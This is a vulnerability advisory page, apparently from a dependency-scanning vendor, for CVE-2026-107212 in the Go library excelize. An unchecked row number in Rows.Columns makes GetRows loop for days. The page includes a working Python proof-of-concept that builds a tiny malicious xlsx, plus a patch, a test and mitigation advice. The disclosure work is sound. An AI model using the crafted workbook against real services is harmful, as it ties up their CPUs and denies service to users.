Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-107212 — excelize

HIGHFix: qax-os/excelize@01a9ff3

CVE-2026-107212 is a high-severity (CVSS 7.5) CWE-770 vulnerability in github.com/xuri/excelize/v2. A fix is available for github.com/xuri/excelize/v2 — see the affected versions and patch details below.

Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days

Also known asGHSA-jw42-f3rr-4cc3GO-2026-6685
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-107212.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-107212 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/xuri/excelize/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
    rows.err = ErrMaxRows
    return false
}

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
    rows.curRow = rowNum
}

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

import zipfile
parts = {
    "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
    "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
    "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
    "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
    "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    for name, xml in parts.items():
        z.writestr(name, xml)
f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.

The same pattern is in clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx in Apache POI's public test data (its sheet8.xml has <row r="231999999999940">). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).

Suggested patch

Apply the same limit in Columns(), and have Next() stop once an error is recorded. With this change both files above return ErrMaxRows immediately. go test ./... passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.

--- a/rows.go
+++ b/rows.go
@@ -97,6 +97,9 @@ type Rows struct {
 
 // Next will return true if it finds the next row element.
 func (rows *Rows) Next() bool {
+	if rows.err != nil {
+		return false
+	}
 	rows.seekRow++
 	if rows.curRow >= rows.seekRow {
 		rows.curRowOpts = rows.seekRowOpts
@@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) {
 			rowIterator.inElement = xmlElement.Name.Local
 			if rowIterator.inElement == "row" {
 				rowNum := 0
-				if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
+				if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows {
+					rows.err, rows.token = ErrMaxRows, nil
+					return rowIterator.cells, rows.err
+				} else if rowNum != 0 {
 					rows.curRow = rowNum
 				} else if rows.token == nil {
 					rows.curRow++
--- a/rows_test.go
+++ b/rows_test.go
@@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) {
 	f.checked = sync.Map{}
 	_, err = f.GetRows("Sheet1")
 	assert.Equal(t, ErrMaxRows, err)
+	// Test get rows from a file with a row number over the limit after a valid
+	// row, which is read by Rows.Columns rather than Rows.Next: this used to
+	// iterate once per missing row, about 2.3e14 times here
+	f = NewFile()
+	f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, `<worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>`, NameSpaceSpreadSheet.Value))
+	f.Sheet.Delete("xl/worksheets/sheet1.xml")
+	buf, err := f.WriteToBuffer()
+	assert.NoError(t, err)
+	f, err = OpenReader(buf)
+	assert.NoError(t, err)
+	_, err = f.GetRows("Sheet1")
+	assert.Equal(t, ErrMaxRows, err)
 }
 
 func TestRows(t *testing.T) {

Impact

Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with GetRows or the Rows iterator. No authentication or user interaction is needed beyond the application accepting a file.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/xuri/excelize/v2≥ 2.1.0&&< 2.11.1-0.20260930021559-01a9ff32fb3c2.11.1-0.20260930021559-01a9ff32fb3cgo get github.com/xuri/excelize/v2@v2.11.1-0.20260930021559-01a9ff32fb3c

Affected Products

1 product · 1 configurations
Application
excelizeexcelize
≥ 2.1.0 && ≤ 2.11.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/xuri/excelize/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/xuri/excelize/v2 to 2.11.1-0.20260930021559-01a9ff32fb3c or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-107212 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A worksheet whose `<row r="...">` number is far past Excel's 1,048,576-row limit makes `File.GetRows` and the `Rows` iterator loop once for every missing row. The row limit is checked in `Rows.Next`, but not in `Rows.Columns`, which also reads `<row>` elements. A 1.5 KB file with `<row r="231999999999940">` after an ordinary first row keeps `GetRows` busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls `GetRows` or iterates `Rows` on an uploaded workbook can be tied up by a single request. ### Details `Rows.Next
O3 Security · Impact-Aware SCA

Is CVE-2026-107212 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-107212: excelize DoS — Fix Available